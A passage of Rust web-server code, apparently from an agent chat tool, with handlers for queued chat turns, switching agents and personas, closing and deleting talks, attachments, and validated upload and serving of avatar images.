9992 let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9993 let running = if pending {
9994 match crate::chat_worker::spawn_turn(&talks, &id).await {
9995 Ok(_) => true,
9996 Err(error) => {
9997 tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9998 false
9999 }
10000 }
10001 } else {
10002 false
10003 };
10004 drop(turn);
10005 if let Some(started) = started {
10006 let _ = started.send(running);
10007 }
10008}
10009
10010#[cfg(test)]
10013async fn drain_loop_started(
10014 mut talk: Talk,
10015 talks: Talks,
10016 cfg: Config,
10017 id: String,
10018 turn: TalkTurnGuard,
10019 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10020) {
10021 let live_set = Arc::clone(&turn.turns);
10022 let mut turn = Some(turn);
10030 loop {
10031 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10032 tracing::warn!("talk {id} lost its turn lease; not draining further");
10035 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10036 if let Some(turn) = turn.take() {
10037 turn.release(&mut live);
10038 }
10039 break;
10040 }
10041 let observed = live_set
10045 .lock()
10046 .unwrap_or_else(PoisonError::into_inner)
10047 .queued
10048 .get(&id)
10049 .copied()
10050 .unwrap_or(0);
10051 let drained = blocking({
10052 let talks = talks.clone();
10053 move || {
10054 let result = talk::drain(&mut talk, &talks);
10055 Ok((talk, result))
10056 }
10057 })
10058 .await;
10059 let (next_talk, result) = match drained {
10060 Ok(drained) => drained,
10061 Err(e) => {
10062 tracing::warn!(
10063 status = %e.status,
10064 message = %e.message,
10065 "talk {id} could not start queued-text drain"
10066 );
10067 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10068 turn.take()
10069 .expect("held for the whole loop until released here")
10070 .release(&mut live);
10071 break;
10072 }
10073 };
10074 talk = next_talk;
10075 let drained = match result {
10076 Ok(Some(drained)) => drained,
10077 Ok(None) => {
10078 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10079 if live.queued.get(&id).copied().unwrap_or(0) != observed {
10080 continue;
10081 }
10082 turn.take()
10083 .expect("held for the whole loop until released here")
10084 .release(&mut live);
10085 break;
10086 }
10087 Err(e) => {
10088 tracing::warn!("talk {id} could not drain queued text: {e:#}");
10089 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10090 turn.take()
10091 .expect("held for the whole loop until released here")
10092 .release(&mut live);
10093 break;
10094 }
10095 };
10096 if let Some(started) = started.take() {
10097 let _ = started.send(true);
10098 }
10099 let responded = match turn.as_ref() {
10100 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10101 None => Err(anyhow::anyhow!("the turn guard was released")),
10102 };
10103 if let Err(e) = responded {
10104 tracing::warn!("talk {id} turn failed: {e:#}");
10105 }
10106 }
10107 drop(turn);
10108 if let Some(started) = started {
10109 let _ = started.send(false);
10110 }
10111}
10112
10113async fn talk_pending_clear(
10115 State(ui): State<Arc<Ui>>,
10116 Path(id): Path<String>,
10117 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10118) -> ApiResult<Json<TalkView>> {
10119 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10120 blocking(move || {
10121 let id = resolve_talk(&ui.talks, &id)?;
10122 let mut talk = ui.talks.get(&id)?;
10123 if !talk.status.open() {
10124 return Err(ApiError::conflict(format!(
10125 "talk {} is {} and takes no more turns",
10126 talk.short(),
10127 talk.status.as_str()
10128 )));
10129 }
10130 if !talk::clear_pending_if_matches(
10131 &mut talk,
10132 &ui.talks,
10133 &body.expected_text,
10134 &body.expected_attachments,
10135 )? {
10136 return Err(ApiError::conflict(
10137 "queued message changed; reload it before clearing",
10138 ));
10139 }
10140 let thinking = ui.is_thinking(&talk.id);
10141 Ok(Json(TalkView::new(talk, thinking, &ui)))
10142 })
10143 .await
10144}
10145
10146async fn talk_pending_edit(
10150 State(ui): State<Arc<Ui>>,
10151 Path(id): Path<String>,
10152 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10153) -> ApiResult<Json<TalkView>> {
10154 let admission = ui.begin_admission()?;
10155 admitted(admission, async move {
10156 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10157 let id = {
10158 let ui = Arc::clone(&ui);
10159 blocking(move || resolve_talk(&ui.talks, &id)).await?
10160 };
10161 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10162 .await
10163 .map_err(ApiError::from)?;
10164 let (view, reclaimed) = blocking({
10165 let ui = Arc::clone(&ui);
10166 move || {
10167 let mut talk = ui.talks.get(&id)?;
10168 if !talk.status.open() {
10169 return Err(ApiError::conflict(format!(
10170 "talk {} is {} and takes no more turns",
10171 talk.short(),
10172 talk.status.as_str()
10173 )));
10174 }
10175 if !talk::edit_pending_message(
10176 &mut talk,
10177 &ui.talks,
10178 &body.text,
10179 &body.expected_text,
10180 &body.expected_attachments,
10181 body.message,
10182 )? {
10183 return Err(ApiError::conflict(
10184 "queued message changed; reload it before editing",
10185 ));
10186 }
10187 let claim = match ui.begin_queued_talk_turn(&id)? {
10188 Some(turn_guard) => {
10189 let (cfg, _) = Config::discover(&talk.repo, None)?;
10190 Some((talk.clone(), cfg, id.clone(), turn_guard))
10191 }
10192 None => None,
10193 };
10194 let thinking = ui.is_thinking(&id);
10195 Ok((TalkView::new(talk, thinking, &ui), claim))
10196 }
10197 })
10198 .await?;
10199 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10200 let talks = ui.talks.clone();
10201 #[cfg(not(test))]
10202 detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10203 #[cfg(test)]
10204 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10205 }
10206 Ok(Json(view))
10207 })
10208 .await
10209}
10210
10211fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10213 if talk.status.open() {
10214 return Ok(());
10215 }
10216 Err(ApiError::conflict(format!(
10217 "talk {} is {} and takes no more turns",
10218 talk.short(),
10219 talk.status.as_str()
10220 )))
10221}
10222
10223#[derive(Debug, Deserialize)]
10225struct TalkAgent {
10226 agent: String,
10227}
10228
10229async fn talk_agent(
10234 State(ui): State<Arc<Ui>>,
10235 Path(id): Path<String>,
10236 Json(body): Json<TalkAgent>,
10237) -> ApiResult<Json<TalkView>> {
10238 let admission = ui.begin_admission()?;
10239 admitted(admission, async move {
10240 let id = {
10241 let ui = Arc::clone(&ui);
10242 blocking(move || resolve_talk(&ui.talks, &id)).await?
10243 };
10244 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10245 .await
10246 .map_err(ApiError::from)?;
10247 let repo = {
10248 let ui = Arc::clone(&ui);
10249 let id = id.clone();
10250 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10251 };
10252 let cfg = config_for(&repo).await?;
10253 {
10255 let ui = Arc::clone(&ui);
10256 let id = id.clone();
10257 let cfg = cfg.clone();
10258 let wanted = body.agent.clone();
10259 blocking(move || {
10260 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10261 .map_err(ApiError::bad_request_from)?;
10262 refuse_if_closed(&ui.talks.get(&id)?)
10263 })
10264 .await?;
10265 }
10266 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10267 return Err(ApiError::conflict(
10268 "a talk turn is running; change the agent once it has answered",
10269 ));
10270 };
10271 let switched = {
10272 let ui = Arc::clone(&ui);
10273 let id = id.clone();
10274 let cfg = cfg.clone();
10275 blocking(move || {
10276 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10277 .map_err(ApiError::bad_request_from)?;
10278 let mut talk = ui.talks.get(&id)?;
10279 if !talk.status.open() {
10280 return Err(ApiError::conflict(format!(
10281 "talk {} is {} and takes no more turns",
10282 talk.short(),
10283 talk.status.as_str()
10284 )));
10285 }
10286 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10287 Ok(talk)
10288 })
10289 .await
10290 };
10291 let observed = ui.queued_generation(&id);
10296 let fresh = {
10297 let ui = Arc::clone(&ui);
10298 let id = id.clone();
10299 blocking(move || Ok(ui.talks.get(&id)?)).await
10300 };
10301 let draining = match fresh {
10302 Ok(talk) => {
10303 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10304 }
10305 Err(_) => false,
10306 };
10307 let talk = switched?;
10308 Ok(Json(TalkView::new(talk, draining, &ui)))
10309 })
10310 .await
10311}
10312
10313#[derive(Debug, Deserialize)]
10315struct TalkPersona {
10316 persona: String,
10317}
10318
10319async fn talk_persona(
10323 State(ui): State<Arc<Ui>>,
10324 Path(id): Path<String>,
10325 Json(body): Json<TalkPersona>,
10326) -> ApiResult<Json<TalkView>> {
10327 let admission = ui.begin_admission()?;
10328 admitted(admission, async move {
10329 let id = {
10330 let ui = Arc::clone(&ui);
10331 blocking(move || resolve_talk(&ui.talks, &id)).await?
10332 };
10333 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10334 .await
10335 .map_err(ApiError::from)?;
10336 let repo = {
10337 let ui = Arc::clone(&ui);
10338 let id = id.clone();
10339 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10340 };
10341 let cfg = config_for(&repo).await?;
10342 {
10344 let ui = Arc::clone(&ui);
10345 let id = id.clone();
10346 let cfg = cfg.clone();
10347 let wanted = body.persona.clone();
10348 blocking(move || {
10349 if persona::find(&cfg.talk.personas, &wanted).is_none() {
10350 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10351 }
10352 refuse_if_closed(&ui.talks.get(&id)?)
10353 })
10354 .await?;
10355 }
10356 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10357 return Err(ApiError::conflict(
10358 "a talk turn is running; change the persona once it has answered",
10359 ));
10360 };
10361 let switched = {
10362 let ui = Arc::clone(&ui);
10363 let id = id.clone();
10364 let cfg = cfg.clone();
10365 blocking(move || {
10366 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10367 return Err(ApiError::bad_request(format!(
10368 "unknown persona `{}`",
10369 body.persona
10370 )));
10371 };
10372 let mut talk = ui.talks.get(&id)?;
10373 if !talk.status.open() {
10374 return Err(ApiError::conflict(format!(
10375 "talk {} is {} and takes no more turns",
10376 talk.short(),
10377 talk.status.as_str()
10378 )));
10379 }
10380 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10381 Ok(talk)
10382 })
10383 .await
10384 };
10385 let observed = ui.queued_generation(&id);
10387 let fresh = {
10388 let ui = Arc::clone(&ui);
10389 let id = id.clone();
10390 blocking(move || Ok(ui.talks.get(&id)?)).await
10391 };
10392 let draining = match fresh {
10393 Ok(talk) => {
10394 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10395 }
10396 Err(_) => false,
10397 };
10398 let talk = switched?;
10399 Ok(Json(TalkView::new(talk, draining, &ui)))
10400 })
10401 .await
10402}
10403
10404#[derive(Debug, Deserialize)]
10406struct TalkImplementers {
10407 implementers: u8,
10408}
10409
10410async fn talk_implementers(
10414 State(ui): State<Arc<Ui>>,
10415 Path(id): Path<String>,
10416 Json(body): Json<TalkImplementers>,
10417) -> ApiResult<Json<TalkView>> {
10418 let admission = ui.begin_admission()?;
10419 admitted(admission, async move {
10420 let id = {
10421 let ui = Arc::clone(&ui);
10422 blocking(move || resolve_talk(&ui.talks, &id)).await?
10423 };
10424 let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10425 .await
10426 .map_err(ApiError::from)?;
10427 let repo = {
10428 let ui = Arc::clone(&ui);
10429 let id = id.clone();
10430 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10431 };
10432 let cfg = config_for(&repo).await?;
10433 {
10438 let ui = Arc::clone(&ui);
10439 let id = id.clone();
10440 let cfg = cfg.clone();
10441 let wanted = body.implementers;
10442 blocking(move || {
10443 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10444 refuse_if_closed(&ui.talks.get(&id)?)
10445 })
10446 .await?;
10447 }
10448 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10449 return Err(ApiError::conflict(
10450 "a talk turn is running; change the implementers once it has answered",
10451 ));
10452 };
10453 let switched = {
10454 let ui = Arc::clone(&ui);
10455 let id = id.clone();
10456 let cfg = cfg.clone();
10457 blocking(move || {
10458 let chosen = talk::check_implementers(body.implementers, &cfg)
10459 .map_err(ApiError::bad_request)?;
10460 let mut talk = ui.talks.get(&id)?;
10461 if !talk.status.open() {
10462 return Err(ApiError::conflict(format!(
10463 "talk {} is {} and takes no more turns",
10464 talk.short(),
10465 talk.status.as_str()
10466 )));
10467 }
10468 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10469 Ok(talk)
10470 })
10471 .await
10472 };
10473 let observed = ui.queued_generation(&id);
10475 let fresh = {
10476 let ui = Arc::clone(&ui);
10477 let id = id.clone();
10478 blocking(move || Ok(ui.talks.get(&id)?)).await
10479 };
10480 let draining = match fresh {
10481 Ok(talk) => {
10482 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10483 }
10484 Err(_) => false,
10485 };
10486 let talk = switched?;
10487 Ok(Json(TalkView::new(talk, draining, &ui)))
10488 })
10489 .await
10490}
10491
10492async fn talk_close(
10494 State(ui): State<Arc<Ui>>,
10495 Path(id): Path<String>,
10496) -> ApiResult<Json<TalkView>> {
10497 blocking(move || {
10498 let id = resolve_talk(&ui.talks, &id)?;
10499 let mut talk = ui.talks.get(&id)?;
10500 talk::close(&mut talk, &ui.talks).map_err(|error| {
10501 if error.is::<talk::ClosePendingInput>() {
10502 ApiError::conflict(format!("{error:#}"))
10503 } else {
10504 ApiError::from(error)
10505 }
10506 })?;
10507 let thinking = ui.is_thinking(&talk.id);
10508 Ok(Json(TalkView::new(talk, thinking, &ui)))
10509 })
10510 .await
10511}
10512
10513async fn talk_reopen(
10515 State(ui): State<Arc<Ui>>,
10516 Path(id): Path<String>,
10517) -> ApiResult<Json<TalkView>> {
10518 blocking(move || {
10519 let id = resolve_talk(&ui.talks, &id)?;
10520 let mut talk = ui.talks.get(&id)?;
10521 talk::reopen(&mut talk, &ui.talks)?;
10522 let thinking = ui.is_thinking(&talk.id);
10523 Ok(Json(TalkView::new(talk, thinking, &ui)))
10524 })
10525 .await
10526}
10527
10528async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10538 blocking(move || {
10539 let id = resolve_talk(&ui.talks, &id)?;
10540 ui.talks.remove(&id)?;
10541 Ok(StatusCode::NO_CONTENT)
10542 })
10543 .await
10544}
10545
10546fn talk_ids(root: &FsPath) -> Vec<String> {
10547 std::fs::read_dir(root)
10548 .into_iter()
10549 .flatten()
10550 .flatten()
10551 .filter_map(|e| {
10552 let path = e.path();
10553 if path.extension().is_some_and(|ext| ext == "json") {
10554 path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10555 } else {
10556 None
10557 }
10558 })
10559 .collect()
10560}
10561
10562fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10564 if plain_record_id(id) && store.path_of(id).is_file() {
10565 return Ok(id.to_owned());
10566 }
10567 pick(talk_ids(store.root()), id, "talk")
10568}
10569
10570async fn talk_attachment_post(
10573 State(ui): State<Arc<Ui>>,
10574 Path(id): Path<String>,
10575 headers: HeaderMap,
10576 body: Bytes,
10577) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10578 let mime = validate_attachment(&headers, &body)?;
10579 let name = filename_header(&headers);
10580 let data = body.to_vec();
10581 blocking(move || {
10582 let id = resolve_talk(&ui.talks, &id)?;
10583 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10584 Ok((StatusCode::CREATED, Json(att)))
10585 })
10586 .await
10587}
10588
10589async fn talk_attachment_get(
10592 State(ui): State<Arc<Ui>>,
10593 Path((id, att)): Path<(String, String)>,
10594) -> ApiResult<Response> {
10595 blocking(move || {
10596 let id = resolve_talk(&ui.talks, &id)?;
10597 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10598 return Err(ApiError::not_found(format!(
10599 "talk {id} has no attachment `{att}`"
10600 )));
10601 };
10602 Ok(attachment_response(&meta.mime, data))
10603 })
10604 .await
10605}
10606
10607fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10610 let id = avatar_encode(&p.id);
10611 format!(
10612 "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10613 persona_icon::fingerprint(
10614 effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10615 )
10616 )
10617}
10618
10619#[derive(Debug, Default, Deserialize)]
10620struct AvatarQuery {
10621 persona: Option<String>,
10622 builtin: Option<String>,
10624}
10625
10626const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10628
10629fn builtin_avatar(id: &str) -> Response {
10630 svg_avatar(persona_icon::builtin_svg(id))
10631}
10632
10633async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10634 raster_or_builtin(
10635 read_icon_file(&avatar_setting_path(&ui.home, None))
10636 .filter(|_| q.builtin.is_none())
10637 .as_deref(),
10638 persona_icon::operator_svg(),
10639 )
10640}
10641
10642fn svg_avatar(svg: &'static str) -> Response {
10643 (
10644 [
10645 (header::CONTENT_TYPE, "image/svg+xml"),
10646 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10647 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10648 (header::CACHE_CONTROL, "no-cache"),
10649 ],
10650 svg,
10651 )
10652 .into_response()
10653}
10654
10655fn avatar_encode(value: &str) -> String {
10656 value
10657 .bytes()
10658 .map(|b| {
10659 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10660 char::from(b).to_string()
10661 } else {
10662 format!("%{b:02X}")
10663 }
10664 })
10665 .collect()
10666}
10667
10668fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10670 let Some(id) = persona else {
10671 return home.join("avatars/operator.data");
10672 };
10673 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10674 let mut path = home.join("avatars/personas");
10675 for chunk in encoded.as_bytes().chunks(100) {
10676 path.push(std::str::from_utf8(chunk).expect("hex"));
10677 }
10678 path.join("icon.data")
10679}
10680
10681fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10682 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10683 Some(value) if value == "builtin" => Some(String::new()),
10684 Some(value) => Some(value),
10685 None => configured.map(str::to_owned),
10686 }
10687}
10688
10689fn operator_icon_url(home: &FsPath) -> String {
10690 format!(
10691 "/avatars/operator.svg?v={}",
10692 persona_icon::fingerprint(
10693 read_icon_file(&avatar_setting_path(home, None))
10694 .as_deref()
10695 .or(Some(persona_icon::operator_svg()))
10696 )
10697 )
10698}
10699
10700fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10701 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10702 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10703 attachment_response(mime, bytes)
10704 }
10705 _ => svg_avatar(builtin),
10706 };
10707 response
10708 .headers_mut()
10709 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10710 response
10711}
10712
10713#[derive(Default, Deserialize)]
10714struct AvatarSettingsQuery {
10715 repo: Option<PathBuf>,
10716 persona: Option<String>,
10717 builtin: Option<String>,
10718 inherit: Option<String>,
10719}
10720
10721fn avatar_settings_specs(
10722 ui: &Ui,
10723 repo: Option<PathBuf>,
10724) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10725 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10726 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10727 .map(|cfg| cfg.talk.personas)
10728 .unwrap_or_default();
10729 Ok((repo, specs))
10730}
10731
10732fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10733 let Ok(entries) = std::fs::read_dir(path) else {
10734 return;
10735 };
10736 for entry in entries.flatten() {
10737 let name = entry.file_name().to_string_lossy().into_owned();
10738 if name == "icon.data" {
10739 let bytes: Option<Vec<u8>> = prefix
10740 .as_bytes()
10741 .chunks(2)
10742 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10743 .collect();
10744 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10745 out.push(id);
10746 }
10747 } else if name.len() <= 100
10748 && !name.is_empty()
10749 && name.bytes().all(|b| b.is_ascii_hexdigit())
10750 && entry.file_type().is_ok_and(|t| t.is_dir())
10751 {
10752 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10753 }
10754 }
10755}
10756
10757async fn avatar_settings_get(
10758 State(ui): State<Arc<Ui>>,
10759 Query(q): Query<AvatarSettingsQuery>,
10760) -> ApiResult<Json<serde_json::Value>> {
10761 blocking(move || {
10762 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10763 let mut catalog = persona::catalog(&specs);
10764 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10765 let mut saved = Vec::new();
10766 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10767 for id in saved {
10768 if !catalog.iter().any(|p| p.id == id) {
10769 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10770 }
10771 }
10772 let personas: Vec<_> = catalog.iter().map(|p| {
10773 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10774 let override_state = match saved.as_deref() {
10775 Some("builtin") => "builtin",
10776 Some(_) => "custom",
10777 None => "inherit",
10778 };
10779 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10780 serde_json::json!({"id":p.id,"name":p.name,
10781 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10782 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10783 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10784 }).collect();
10785 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10786 }).await
10787}
10788
10789async fn settings_persona_avatar(
10790 State(ui): State<Arc<Ui>>,
10791 Query(q): Query<AvatarSettingsQuery>,
10792) -> ApiResult<Response> {
10793 blocking(move || {
10794 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10795 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10796 let found = persona::find(&specs, id);
10797 let icon =
10798 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10799 Ok(raster_or_builtin(
10800 icon.as_deref().filter(|_| q.builtin.is_none()),
10801 persona_icon::builtin_svg(id),
10802 ))
10803 })
10804 .await
10805}
10806
10807fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10808 if q.persona
10809 .as_ref()
10810 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10811 {
10812 return Err(ApiError::bad_request("invalid persona id"));
10813 }
10814 Ok(())
10815}
10816
10817async fn avatar_settings_put(
10818 State(ui): State<Arc<Ui>>,
10819 Query(q): Query<AvatarSettingsQuery>,
10820 Json(upload): Json<MagiIconUpload>,
10821) -> ApiResult<Json<serde_json::Value>> {
10822 blocking(move || {
10823 validate_avatar_target(&q)?;
10824 save_icon_file(
10825 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10826 &upload.icon,
10827 )
10828 .map_err(ApiError::bad_request_from)?;
10829 Ok(Json(serde_json::json!({"saved":true})))
10830 })
10831 .await
10832}
10833
10834async fn avatar_settings_delete(
10835 State(ui): State<Arc<Ui>>,
10836 Query(q): Query<AvatarSettingsQuery>,
10837) -> ApiResult<Json<serde_json::Value>> {
10838 blocking(move || {
10839 validate_avatar_target(&q)?;
10840 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10841 if q.persona.is_some() && q.inherit.is_none() {
10842 atomic_icon_write(&path, "builtin")?;
10843 } else {
10844 match std::fs::remove_file(path) {
10845 Ok(()) => (),
10846 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10847 Err(e) => return Err(anyhow::Error::from(e).into()),
10848 }
10849 }
10850 Ok(Json(serde_json::json!({"saved":true})))
10851 })
10852 .await
10853}
10854
10855fn magi_icon_path(home: &FsPath) -> PathBuf {
10857 home.join("magi-icon.data")
10858}
10859
10860fn read_magi_icon(home: &FsPath) -> Option<String> {
10861 read_icon_file(&magi_icon_path(home))
10862}
10863
10864fn read_icon_file(path: &FsPath) -> Option<String> {
10865 let metadata = std::fs::metadata(path).ok()?;
10866 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10867 return None;
10868 }
10869 let file = std::fs::File::open(path).ok()?;
10870 use std::io::Read;
10871 let mut text = String::new();
10872 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10873 .read_to_string(&mut text)
10874 .ok()?;
10875 if text.len() > persona_icon::ICON_MAX_BYTES {
10876 return None;
10877 }
10878 if text == "builtin" {
10879 return Some(text);
10880 }
10881 validate_uploaded_icon(&text).ok()?;
10882 Some(text)
10883}
10884
10885fn magi_icon_url(home: &FsPath) -> String {
10886 format!(
10887 "/avatars/magi?v={}",
10888 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10889 )
10890}
10891
10892async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10893 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10894}
10895
10896#[derive(Deserialize)]
10897struct MagiIconUpload {
10898 icon: String,
10899}
10900
10901fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10902 save_icon_file(&magi_icon_path(home), icon)
10903}
10904
10905fn validate_uploaded_icon(icon: &str) -> Result<()> {
10906 if !icon.starts_with("data:") {
10907 anyhow::bail!("upload a raster image");
10908 }
10909 let (mime, bytes) = persona_icon::load(icon)?;
10910 if sniffed_mime(&bytes) != Some(mime) {
10911 anyhow::bail!("image content does not match its type");
10912 }
10913 Ok(())
10914}
10915
10916fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10917 validate_uploaded_icon(icon)?;
10918 atomic_icon_write(path, icon)
10919}
10920
10921fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10922 let home = path.parent().expect("icon parent");
10923 std::fs::create_dir_all(home)?;
10924 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10925 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10926 let result = (|| -> Result<()> {
10927 use std::io::Write;
10928 let mut file = std::fs::OpenOptions::new()
10929 .write(true)
10930 .create_new(true)
10931 .open(&temp)?;
10932 file.write_all(icon.as_bytes())?;
10933 file.sync_all()?;
10934 std::fs::rename(&temp, path)?;
10935 Ok(())
10936 })();
10937 let _ = std::fs::remove_file(temp);
10938 result?;
10939 Ok(())
10940}
10941
10942async fn magi_icon_put(
10943 State(ui): State<Arc<Ui>>,
10944 Json(upload): Json<MagiIconUpload>,
10945) -> ApiResult<Json<serde_json::Value>> {
10946 blocking(move || {
10947 if !upload.icon.starts_with("data:") {
10948 return Err(ApiError::bad_request("upload a raster image"));
10949 }
10950 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10951 if sniffed_mime(&bytes) != Some(mime) {
10952 return Err(ApiError::bad_request(
10953 "image content does not match its type",
10954 ));
10955 }
10956 save_magi_icon(&ui.home, &upload.icon)?;
10957 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10958 })
10959 .await
10960}
10961
10962async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10963 blocking(move || {
10964 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10965 Ok(()) => (),
10966 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10967 Err(e) => return Err(anyhow::Error::from(e).into()),
10968 }
10969 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10970 })
10971 .await
10972}
10973
10974async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10975 let icon = (q.builtin.is_none())
10976 .then(|| read_magi_icon(&ui.home))
10977 .flatten();
10978 let mut response = match icon
10979 .as_deref()
10980 .and_then(|icon| persona_icon::load(icon).ok())
10981 {
10982 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10983 attachment_response(mime, bytes)
10984 }
10985 _ => svg_avatar(persona_icon::magi_svg()),
10986 };
10987 response
10988 .headers_mut()
10989 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10990 response
10991}
10992
10993async fn talk_avatar(
10998 State(ui): State<Arc<Ui>>,
10999 Path(id): Path<String>,
11000 Query(q): Query<AvatarQuery>,
11001) -> ApiResult<Response> {
11002 blocking(move || {
11003 let id = resolve_talk(&ui.talks, &id)?;
11004 let talk = ui.talks.get(&id)?;
11005 let wanted = q
11006 .persona
11007 .as_deref()
11008 .map(str::trim)
11009 .filter(|p| !p.is_empty())
11010 .unwrap_or(&talk.persona)
11011 .to_owned();
11012 let specs = match Config::discover(&talk.repo, None) {
11013 Ok((cfg, _)) => cfg.talk.personas,
11014 Err(e) => {
11015 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11016 Vec::new()
11017 }
11018 };
11019 let found = persona::find(&specs, &wanted);
11020 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11022 let icon = effective_persona_icon(
11023 &ui.home,
11024 &wanted,
11025 found.as_ref().and_then(|p| p.icon.as_deref()),
11026 );
11027 if found.is_none() && icon.is_none() {
